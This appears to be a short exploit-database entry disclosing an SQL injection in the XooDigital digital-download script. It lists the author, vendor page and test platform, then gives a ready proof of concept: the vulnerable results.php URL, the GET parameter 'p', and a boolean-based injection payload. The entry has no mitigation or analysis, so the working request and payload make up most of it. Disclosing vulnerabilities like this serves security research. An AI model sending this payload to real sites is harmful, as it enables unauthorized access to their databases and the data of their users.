XooDigital – ‘p’ SQL Injection
# Exploit Title: XooDigital - 'p' SQL Injection # Date: 26.03.2019 # Exploit Author: Ahmet Ümit BAYRAM # Vendor Homepage: https://xooscripts.com/product/digital-download-protection-script.html # Demo Site: http://xooscripts.com/demos/xoodigital/ # Version: Lastest # Tested on: Kali Linux # CVE: N/A ----- PoC : SQLi ----- Request: http://localhost/[PATH]/results.php?p=1 Vulnerable Parameter: p (GET) Payload: p=1') OR NOT 7970=7970# |